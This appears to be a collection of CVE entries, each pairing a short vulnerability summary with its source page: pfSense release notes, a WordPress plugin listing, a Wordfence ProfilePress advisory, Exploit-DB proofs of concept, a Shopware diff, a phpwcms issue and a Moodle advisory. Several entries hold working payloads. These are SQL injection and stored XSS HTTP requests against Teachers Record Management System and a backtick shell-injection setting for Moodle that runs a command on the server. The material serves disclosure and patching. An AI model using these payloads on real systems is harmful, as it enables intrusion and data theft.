An authenticated Cross-Site Scripting (XSS) vulnerability was found in widgets/widgets/wake_on_lan_widget.php, a component of the pfSense software WebGUI, on version 2.4.4-p2 and earlier. The widget did not encode the descr (description) parameter of wake-on-LAN entries in its output, leading to a possible stored XSS.

The pfSense Documentation

pfSense® software version 2.4.4-p3 addresses security and other issues found in 2.4.4-p2.

Warning

The upcoming pfSense release version 2.5.0 deprecates the built-in load balancer, and all related code has been removed as it is not compatible with FreeBSD 12. Plan migrations to alternate solutions such as the HAProxy package now.

See the 2.5.0 release notes for more information.

**Security / Errata¶**

*   Changed sshguard to block both ssh and the GUI using a single table, and removed the unnecessary manual scheduled table expiration pfSense-SA-19\_02.sshguard #9223
    
*   Fixed potential XSS vectors
    
    *   pfSense-SA-19\_01.webgui : Fixed potential XSS vectors in system\_advanced\_admin.php, interfaces\_assign.php, firewall\_rules\_edit.php, firewall\_shaper.php, services\_igmpproxy\_edit.php, services\_ntpd\_gps.php and diag\_traceroute.php #9294
        
    *   pfSense-SA-19\_03.webgui : Fixed potential XSS vector in status\_filter\_reload.php #9499
        
    *   pfSense-SA-19\_04.webgui : Fixed potential XSS vector in the WOL widget #9507
        
    *   pfSense-SA-19\_05.webgui : Fixed potential XSS vector in services\_acb.php #9508
        
*   Fixed privilege issues
    
    *   pfSense-SA-19\_06.webgui : Restrict edit access to OpenVPN-related advanced settings, and added new privilege to delegate edit permissions #9511
        
    *   pfSense-SA-19\_07.webgui : Strengthen widget privilege matching to avoid a potential privilege bypass for users granted access to widgets #9512
        
    *   pfSense-SA-19\_08.webgui : Strengthen path privilege check to avoid a potential directory-traversal-like bypass method #9513
        
    *   Added privileges for Auto Config Backup pages #9519
        
    *   Updated privileges: Added misc missing pages, removed obsolete pages
        
*   Addressed FreeBSD Security Advisories:
    
    *   FreeBSD-SA-19:03.wpa
        
    *   FreeBSD-SA-19:04.ntp
        
    *   FreeBSD-SA-19:05.pf
        
    *   FreeBSD-SA-19:06.pf
        
    *   FreeBSD-SA-19:07.mds
        
    *   FreeBSD-EN-19:08.tzdata
        
*   Added DNS over TLS host verification #8602
    
    *   Configure hostnames for DNS over TLS servers under **System > General**
        
*   sqlite updates #9205
    

**Backup / Restore¶**

*   Fixed issues with output buffering causing configuration backup download failures #9390
    
*   Fixed automatic package reinstallation after restoring config.xml from the installer #9214
    
*   Force <enableserial> when restoring a backup on a device with serial only console
    

**Certificates¶**

*   Added missing countries from CA list on certificate pages #9308
    
*   Fixed an error when adding a new user and choosing to generate a certificate #9317
    

**DNS¶**

*   Fixed input validation on diag\_dns.php to allow a trailing dot on hostnames #9276
    
*   Removed non-functional tools links from diag\_dns.php #9275
    
*   Fixed rewriting of the DNS Resolver file remotecontrol.conf if it is present but empty #9470
    

**Firewall Rules / NAT / Aliases¶**

*   Fixed intermittent pf errors when NAT reflection is enabled #9446
    
*   Fixed reserved pf keyword matching when creating and editing aliases #9231
    
*   Fixed duplicate entries showing on diag\_tables.php from lockout tables #9359
    
*   Fixed a PHP error deleting an imported NAT rule with no firewall rules present #9193
    
*   Do not show scheduler icon when scheduler tag is empty
    

**Gateways / Routing¶**

*   Fixed issues with the default IPv4 gateway set to a group failing after restart #9004
    

**Interfaces¶**

*   Fixed PHP error from interface groups when editing QinQ entries
    

**IPsec¶**

*   Fixed IPsec Phase 1 entries on upgrade to have their protocol field populated properly #9207
    

**Operating System¶**

*   Fixed support for ZFS encrypted+mirrored swap #9281
    
*   Fixed problems saving crash dumps when /var is a RAM disk #9409
    

**Traffic Shaping¶**

*   Fixed a PHP error when loading a limiter that does not exist #9313
    
*   Fixed limiter selection validation
    
*   Fixed Queues menu items ending with “:” in certain languages #8970
    

**WebGUI¶**

*   Numerous optimizations and improvements for status.php diagnostics output #9290
    
*   Fixed a PHP error on system\_advanced\_network.php when disabling “IPv6 over IPv4 Tunneling” #9264
    
*   Improved handling of large captures on diag\_packet\_capture.php and disabled viewing of captures larger than 50MiB. #9239
    
*   Added hostname to login page title if the user has enabled **Show hostname on login banner** #9096
    
*   Centralized the list of country codes used by multiple areas #9308
    
*   Updated translation files
    

**XMLRPC¶**

*   Clarified conditions for synchronizing certificates in HA Sync options #9283
    

Additional Resources v: latest

CVE-2020-19203: Releases — 2.4.4-p3 New Features and Changes

Server-side request forgery (SSR) vulnerability in the WP Smart Import (wp-smart-import) plugin 1.0.0 for WordPress via the file field.

*   Details
*   Reviews
*   Installation
*   Development

**WP Smart Import : Import any XML File to WordPress**

The most powerful solution for importing any CSV and XML files to WordPress. Create Posts and Pages any Custom Posttype with content from any XML or CSV file.

**Features**

*   Import any XML file into WordPress
*   Import any CSV file into WordPress
*   Import data into any post type
*   Import Large Files
*   Advanced Field mapping using drag and drop UI
*   Save import as a template for use it in another import
*   Save import file for reuse it later.
*   Local and Remote Image (Media) Import
*   Manage Import
*   Import Insight with data of post create and update

**This plugin can be installed directly from your site.**

1.  Log in and navigate to Plugins & Add New.
2.  Type “WP Smart Import” into the Search input and click the “Search” button.
3.  Locate the “WP Smart Import” in the list of search results and click “Install Now”.
4.  Click the “Activate Plugin” link at the bottom of the install screen.

**It can also be installed manually.**

1.  Download the “WP Smart Import” plugin from WordPress.org.
2.  Unzip the package and move to your plugins directory.
3.  Log into WordPress and navigate to the “Plugins” screen.
4.  Locate “WP Smart Import” in the list and click the “Activate” link.

Pretty unintuitive UI and didn't work very well. Some of the fields mapped didn't show up at all (like images from URL, or creator and short description as custom fields). I ended up with some basic (unformatted, bare text) posts that will still take significant work to clean up. If your XML has lots of good data, skip this plugin and use another solution that will be less head-scratching to figure out and more effective at duplicating the posts you're trying to import.

I had an import issue and it was resolved within a week and a bit. very helpful support. highly recommended. plugin works great. no need for wocommerce add on plugin subscription fees. its an all in one solution for importing products. works fantastically. Big thanks to the support team . Im very very happy.

Best plugin with a lot of good premium features in the plugin. Recommendations - 1. - Please add a visual text editor toolbox for content section during import. 2. - Add find and replace feature for whole XML file during import to replace text, links, etc. Keep it up! Thank You

I tested the CSV import 5 times with multiple csv files and get "Error : file Not Valid". Despite the claim that it supports CSV, it doesn't seem to be the case.

This plugin does everything and more than most commercial plugins will. I'm going to use it to import a series of articles for which the text and the publication dates are known upfront. I bundle texts, titles, featured image urls and publication dates in an XML and upload to Wordpress. The only thing that I'm missing is the ability to import posts with html in the content.

XML files will import just fine, but not CSV--they get a "file not supported" error. Also, this plugin can only create new items, not update existing ones.

Read all 12 reviews

“WP Smart Import : Import any XML File to WordPress” is open source software. The following people have contributed to this plugin.

Contributors

*    Xylus Themes

**1.0.4**

*   IMPROVEMENTS: Support for PHP 8
*   IMPROVEMENTS: Support for WP 6.2

**1.0.3**

*   FIXED: Security bugs

**1.0.2**

*   FIXED: jQuery Error

**1.0.1**

*   FIXED: some bugs.

**1.0.0**

*   Initial Version.

CVE-2020-24147: WP Smart Import : Import any XML File to WordPress

A vulnerability in the getSelectedMimeTypesByRole function of the WP Upload Restriction WordPress plugin allows low-level authenticated users to view custom extensions added by administrators. This issue affects versions 2.2.3 and prior.

CVE-2021-34627: Vulnerability Advisories - Wordfence

A vulnerability in the deleteCustomType function of the WP Upload Restriction WordPress plugin allows low-level authenticated users to delete custom extensions added by administrators. This issue affects versions 2.2.3 and prior.

CVE-2021-34626: Vulnerability Advisories - Wordfence

A vulnerability in the user profile update component found in the ~/src/Classes/EditUserProfile.php file of the ProfilePress WordPress plugin made it possible for users to escalate their privileges to that of an administrator while editing their profile. This issue affects versions 3.0.0 - 3.1.3. .

On May 27, 2021, the Wordfence Threat Intelligence team initiated the responsible disclosure process for several vulnerabilities that were discovered in ProfilePress, formerly WP User Avatar, a WordPress plugin installed on over 400,000 sites. These flaws made it possible for an attacker to upload arbitrary files to a vulnerable site and register as an administrator on sites even if user registration was disabled, all without requiring any prior authentication.

We initially reached out to the plugin’s developer on May 27, 2021. After receiving confirmation of an appropriate communication channel, we provided the full disclosure details the same day. An updated copy of the plugin was sent to our team on May 28, 2021, which we confirmed provided sufficient protection. The patch was quickly released on May 30, 2021 as version 3.1.4.

These are critical and easily exploitable security issues that have been patched, therefore, we highly recommend updating to the latest patched version available, 3.1.8, immediately if you are running a vulnerable version of this plugin (3.0- 3.1.3).

Wordfence Premium users received a firewall rule to protect against any exploits targeting these vulnerabilities on May 27, 2021. Sites still using the free version of Wordfence received the same protection on June 26, 2021.

_We waited 30 days before disclosing these issues to ensure both Wordfence Premium and free users were protected against any exploit attempts given the severity of the issues and size of the installation base. We have also intentionally minimized the details provided on how these vulnerabilities could be exploited to delay any efforts by malicious threat actors._

**Description:** Unauthenticated Privilege Escalation  
**Affected Plugin:** User Registration, User Profiles, Login & Membership – ProfilePress (Formerly WP User Avatar)  
**Plugin Slug:** wp-user-avatar  
**Affected Versions:** 3.0 – 3.1.3  
**CVE ID:** CVE-2021-34621  
**CVSS Score:** 9.8 (CRITICAL)  
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  
**Researcher/s:** Chloe Chamberland  
**Fully Patched Version:** 3.1.4

ProfilePress, formerly known as WP User Avatar, is a WordPress plugin that was originally designed to be used only to upload user profile photos. Recently, however, the plugin underwent a somewhat controversial revamp. The updated plugin introduced new features like user login and registration, while keeping the original profile photo uploading functionality, in order to create a robust user registration plugin. Unfortunately, the new features introduced several security issues.

The first issue discovered allowed users to escalate their privileges, which could lead to site takeover. During user registration, users could supply arbitrary user meta data that would get updated during the registration process. This included the wp_capabilities user meta that controls a user’s capabilities and role. This made it possible for a user to supply wp_capabilties as an array parameter while registering, which would grant them the supplied capabilities, allowing them to set their role to any role they wanted, including administrator.

       if (is\_array($custom\_usermeta)) {

            foreach ($custom\_usermeta as $key => $value) {
                if ( ! empty($value)) {
                    update\_user\_meta($user\_id, $key, $value);
                    // the 'edit\_profile' parameter is used to distinguish it from same action hook in RegistrationAuth
                    do\_action('ppress\_after\_custom\_field\_update', $key, $value, $user\_id, 'registration');
                }
            }
        }

In addition, there was no check to validate that user registration was enabled on the site, making it possible for users to register as an administrator even on sites where user registration was disabled. This meant that attackers could completely take over a vulnerable WordPress site without much effort if a vulnerable version of this plugin was in use.

**Description:** Authenticated Privilege Escalation  
**Affected Plugin:** User Registration, User Profiles, Login & Membership – ProfilePress (Formerly WP User Avatar)  
**Plugin Slug:** wp-user-avatar  
**Affected Versions:** 3.0 – 3.1.3  
**CVE ID:** CVE-2021-34622  
**CVSS Score:** 9.8 (CRITICAL)  
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  
**Researcher/s:** Chloe Chamberland  
**Fully Patched Version:** 3.1.4

The same flaw was present within the user profile update functionality. The profile update functionality had the same feature that would take the key value pairs submitted during a profile update and update the user’s metadata in the database. The wp_capabilities user meta could be supplied as an array parameter set to administrator during a profile update which would allow attackers to escalate their privileges to that of an administrator.

      if (is\_array($custom\_usermeta)) {

            $user\_id = self::get\_current\_user\_id();

            foreach ($custom\_usermeta as $key => $value) {

                update\_user\_meta($user\_id, $key, $value);

                // the 'edit\_profile' parameter is used to distinguish it from same action hook in RegistrationAuth
                do\_action('ppress\_after\_custom\_field\_update', $key, $value, $user\_id, 'edit\_profile');
            }
        }

This did require the attacker to have an account on a vulnerable site to exploit. However, since the registration function did not validate if user registration was enabled, a user could easily sign up and exploit this vulnerability, if they were not able to exploit the privilege escalation vulnerability during registration.

**Description:** Arbitrary File Upload in Image Uploader Component  
**Affected Plugin:** User Registration, User Profiles, Login & Membership – ProfilePress (Formerly WP User Avatar)  
**Plugin Slug:** wp-user-avatar  
**Affected Versions:** 3.0 – 3.1.3  
**CVE ID:** CVE-2021-34623  
**CVSS Score:** 9.8 (CRITICAL)  
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  
**Researcher/s:** Chloe Chamberland  
**Fully Patched Version:** 3.1.4

In addition to the privilege escalation vulnerabilities, we found that arbitrary files, including PHP files, could be uploaded to a vulnerable WordPress site. The ability to upload profile and cover images to a user’s profile is a core part of the plugin’s functionality. Unfortunately, this function was insecurely implemented using the exif_imagetype function to determine a file’s type.

             // verify the file is a GIF, JPEG, or PNG
            $fileType = exif\_imagetype($image\["tmp\_name"\]);

            $allowed\_image\_type = apply\_filters('ppress\_allowed\_image\_type', array(
                IMAGETYPE\_GIF,
                IMAGETYPE\_JPEG,
                IMAGETYPE\_PNG
            ));

The function exif_imagetype uses the first few bytes of a file, known as magic bytes, to determine a file’s type, and as such is considered an unsafe method to validate a file’s type. Any file can trivially be disguised to appear as a valid image file by adding these magic bytes to the beginning of the file. This made it possible for an attacker to upload a spoofed PHP file that would pass the exif_imagetype check during the user registration process or during a profile update.

This could be used to upload a webshell that would make it possible for an attacker to achieve remote code execution and run commands on a server to achieve complete site takeover. Due to the fact that users could register even without user registration enabled, any attacker could exploit this vulnerability without authentication by uploading a profile picture or cover image during a registration request.

**Description:** Arbitrary File Upload in File Uploader Component  
**Affected Plugin:** User Registration, User Profiles, Login & Membership – ProfilePress (Formerly WP User Avatar)  
**Plugin Slug:** wp-user-avatar  
**Affected Versions:** 3.0- 3.1.3  
**CVE ID:** CVE-2021-34624  
**CVSS Score:** 9.8 (CRITICAL)  
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  
**Researcher/s:** Chloe Chamberland  
**Fully Patched Version:** 3.1.4

In addition to the previous arbitrary file upload vulnerability, we discovered that another endpoint was also vulnerable to arbitrary file uploads. It appears that there was functionality in the plugin to upload files to a user’s profile account during user registration or during a profile update if a site was using the plugin’s “custom fields” extension.

This function performed a file extension check only if a set of extensions was supplied by a site administrator via a custom field on the registration and profile update page. This meant that if a site administrator didn’t configure file uploads for the user registration and profile page using custom fields, then any file type would be allowed due to the extensions field being empty.

This made it possible for attackers to upload arbitrary files to a site during the user registration process or during a profile update, as long as an administrator didn’t configure the file upload settings. Again, this could be used to upload a webshell and obtain remote code execution to take over a site.

**Disclosure Timeline**

**May 27, 2021** – Conclusion of the plugin analysis that led to the discovery of several vulnerabilities in the ProfilePress plugin. We develop a firewall rule to protect Wordfence customers and release it to Wordfence Premium users.  
**May 27, 2021 6:27 PM UTC** – We initiate contact with the plugin developer.  
**May 27, 2021 6:52 PM UTC** – The plugin developer confirms the inbox for handling discussion.  
**May 27, 2021 9:23 PM UTC** – We send over full disclosure details.  
**May 27, 2021 9:27 PM UTC** – The plugin developer confirms they have received the details and will begin working on a fix.  
**May 28, 2021 7:16 AM UTC** – The plugin developer sends us a copy of the proposed patches.  
**May 28, 2021 12:48 PM UTC** – We inform the developer that we will review the patches and get back to them as soon as our analysis is complete.  
**May 28, 2021 3:44 PM UTC** – We confirm the patches are sufficient and inform the developer.  
**May 30, 2021** – A newly updated version of the plugin containing the patches is released.  
**June 26, 2021** – Free Wordfence users receive firewall rules.

**Conclusion**

In today’s post, we detailed several critical flaws in ProfilePress that granted attackers the ability to upload malicious files to achieve remote code execution in addition to registering as an administrator. These flaws have been fully patched in version 3.1.4. We recommend that users immediately update to the latest version available, which is version 3.1.8 at the time of this publication, if they are running a vulnerable version of the plugin (3.0 – 3.1.3).

Wordfence Premium users received a firewall rule to protect against any exploits targeting this vulnerability on May 27, 2021. Sites still using the free version of Wordfence received the same protection on June 26, 2021.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as these are critical severity vulnerabilities that can be easily exploited.

_Special thanks to Collins at ProfilePress for working quickly to get a sufficient patch out to protect users._

CVE-2021-34622: Easily Exploitable Critical Vulnerabilities Patched in ProfilePress Plugin

Multiple SQL Injection vulnerabilities in Teachers Record Management System 1.0 allow remote authenticated users to execute arbitrary SQL commands via the 'editid' GET parameter in edit-subjects-detail.php, edit-teacher-detail.php, or the 'searchdata' POST parameter in search.php.

    # Exploit Title: Teachers Record Management System 1.0 – Multiple SQL Injection (Authenticated)
    # Date: 05-10-2021
    # Exploit Author: nhattruong
    # Vendor Homepage: https://phpgurukul.com
    # Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
    # Version: 1.0
    # Tested on: Windows 10 + XAMPP v3.2.4
    
    POC:
    1. Go to url http://localhost/login.php
    2. Login with default creds
    3. Execute the payload
    
    Payload #1:
    
    POST /admin/search.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 32
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/trms/admin/search.php
    Cookie: PHPSESSID=4c4g8dedr7omt9kp1j7d6v6fg0
    Upgrade-Insecure-Requests: 1
    
    searchdata=a' or 1=1-- -&search=
    
    Payload #2:
    
    http://local/admin/edit-subjects-detail.php?editid=a' or 1=1-- -
    
    Payload #3:
    
    http://local/admin/edit-teacher-detail.php?editid=a' or 1=1-- -

CVE-2021-28423: OffSec’s Exploit Database Archive

A stored cross-site scripting (XSS) vulnerability in Teachers Record Management System 1.0 allows remote authenticated users to inject arbitrary web script or HTML via the 'email' POST parameter in adminprofile.php.

    # Exploit Title: Teachers Record Management System 1.0 – 'email' Stored Cross-site Scripting (XSS)
    # Date: 05-10-2021
    # Exploit Author: nhattruong
    # Vendor Homepage: https://phpgurukul.com
    # Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
    # Version: 1.0
    # Tested on: Windows 10 + XAMPP v3.2.4
    
    POC:
    1. Go to url http://localhost/admin/index.php
    2. Do login
    3. Execute the payload
    4. Reload page to see the different
    
    Payload:
    
    POST /admin/adminprofile.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 91
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/trms/admin/adminprofile.php
    Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l
    Upgrade-Insecure-Requests: 1
    
    adminname=Adminm&username=admin&mobilenumber=8979555556&email="><script>alert(123);</script>&submit=

CVE-2021-28424: OffSec’s Exploit Database Archive

Shopware is an open source eCommerce platform. Versions prior to 5.6.10 are vulnerable to system information leakage in error handling. Users are recommend to update to version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.

@@ -50,10 +50,7 @@ public function preDispatch()

$this\->enableBackendTheme();

}

  

if (strpos($this\->Request()->getHeader('Content-Type'), 'application/json') === 0) {

$this\->Front()->Plugins()->Json()->setRenderer();

$this\->View()->assign('success', false);

} elseif ($this\->Request()->isXmlHttpRequest() || !Shopware()->Container()->initialized('db')) {

if ($this\->Request()->isXmlHttpRequest() || !Shopware()->Container()->initialized('db')) {

$this\->View()->loadTemplate($templateModule . '/error/exception.tpl');

} elseif (isset($\_ENV\['SHELL'\]) || PHP\_SAPI === 'cli') {

$this\->View()->loadTemplate($templateModule . '/error/cli.tpl');

CVE-2021-32712: SW-26001 - Adjust error controller · shopware/shopware@dcb24eb

phpwcms 1.9.13 is vulnerable to Code Injection via /phpwcms/setup/setup.php.

**Test version**

VERSION 1.9.13, RELEASE 2020/01/10

**Code audit****setup.php code**

Open the secure boot file setup.php,the file path is /phpwcms/setup/setup.php.Then it  
include /phpwcms/setup/inc/setup.check.inc.php in line 24.

**setup.check.inc.php code**

open file /phpwcms/setup/inc/setup.check.inc.php and you can see line 35.

**setup.func.inc.php code**

tarck the function write\_conf\_file() in /phpwcms/setup/inc/setup.func.inc.php in line 119.

and in line 293,it will call function write\_textfile() to write the config file in line 35.

**Testing getshell**

in this interface,you can input some infomation like this.

**payload**

After completing it, click Submit.It will show some error information,but you can access like this address and you can see it run the injection code.

**Solution**

Filtering some sensitive characters.

CVE-2020-21784: Code Injection Vulnerability can Getshell · Issue #286 · slackero/phpwcms

A command execution vulnerability exists in the default legacy spellchecker plugin in Moodle 3.10. A specially crafted series of HTTP requests can lead to command execution. An attacker must have administrator privileges to exploit this vulnerabilities.

**Summary**

A command execution vulnerability exists in the default legacy spellchecker plugin in Moodle 3.10. A specially crafted series of HTTP requests can lead to command execution. An attacker must have administrator privileges to exploit this vulnerabilities.

**Tested Versions**

Moodle 3.10

**Product URLs**

https://moodle.org/

**CVSSv3 Score**

8.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**Details**

Moodle is a popular free and open-source learning management system, used by 262 million education users around the world.

Moodle’s security model relies on operating system permissions to prevent arbitrary server-side command execution via the web interface. A typical Moodle installation runs as the web server’s user and according to Moodle’s documentation “It is vital that the \[Moodle\] files are not writeable by the web server user.” If they are, an administrator can gain code execution trivially by installing plugins through the web interface. Moodle administrators can also specify paths to system binaries, as well as upload files to the Moodle data directory (outside of the web root) via course restoration; arbitrary code execution is prevented only because uploaded files do not have the execute bit set.

To exploit the shell injection vulnerability, the administrator sets a path to the legacy server-side spellcheck binary (aspellpath) containing a backtick shell injection and sets PSpellShell as the spellchecking engine. When a server-side spellcheck is requested, lib/editor/tinymce/plugins/spellchecker/classes/PSpellShell.php uses aspellpath to unsafely construct a shell\_exec command. The spellchecker plugin does not have to be enabled.

Reproduction

1.  Set aspellpath. This payload assumes that the Moodle data directory is /var/www/moodledata.
    
          POST /moodle/admin/settings.php?section=systempaths HTTP/1.1
          Host: moodle.example.com
          User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
          Accept-Language: en-US,en;q=0.5
          Accept-Encoding: gzip, deflate
          Referer: https://moodle.example.com/moodle/admin/settings.php?section=systempaths
          Content-Type: application/x-www-form-urlencoded
          Content-Length: 220
          Origin: https://moodle.example.com
          Connection: close
          Cookie: MoodleSession=XXXXXXXXXXXXXXXXXXXXXXXXXX
          Upgrade-Insecure-Requests: 1
        
          section=systempaths&action=save-settings&sesskey=XXXXXXXXXX&return=&s__pathtophp=&s__pathtodu=&s__aspellpath=%60%2Fusr%2Fbin%2Fid+%3E+%2Fvar%2Fwww%2Fmoodledata%2Fpoc%60&s__pathtodot=&s__pathtogs=%2Fusr%2Fbin%2Fgs&s__pathtopython=
        
    
2.  Set the spell engine to PSpellShell.
    
         POST /moodle/admin/settings.php?section=tinymcespellcheckersettings HTTP/1.1
         Host: moodle.example.com
         User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
         Accept-Encoding: gzip, deflate
         Referer: https://moodle.example.com/moodle/admin/settings.php?section=tinymcespellcheckersettings
         Content-Type: application/x-www-form-urlencoded
         Content-Length: 334
         Origin: https://moodle.example.com
         Connection: close
         Cookie: MoodleSession=XXXXXXXXXXXXXXXXXXXXXXXXXX
         Upgrade-Insecure-Requests: 1
            
         section=tinymcespellcheckersettings&action=save-settings&sesskey=XXXXXXXXXX&return=&s_tinymce_spellchecker_spellengine=PSpellShell&s_tinymce_spellchecker_spelllanguagelist=%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv
        
    
3.  Invoke the spellcheck using either checkWords or getSuggestions. This step can be performed unauthenticated.
    
         POST /moodle/lib/editor/tinymce/plugins/spellchecker/rpc.php HTTP/1.1
         Host: moodle.example.com
         User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
         Accept: */*
         Accept-Language: en-US,en;q=0.5
         Accept-Encoding: gzip, deflate
         Content-Type: application/json
         X-Requested-With: XMLHttpRequest
         Content-Length: 57
         Origin: https://moodle.example.com
         Connection: close
            
         {"id":"c0","method":"checkWords","params":["en",["teh"]]}
        
    

Results:

    root@moodle:~# cat /var/www/moodledata/poc
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

**Timeline**

2021-03-26 - Vendor Disclosure  
2021-04-21 - Vendor updated documentation to suggest best practices after installation  
2021-06-22 - Public Release

Discovered by Adam Reiser of Cisco ASIG.

Tag

#php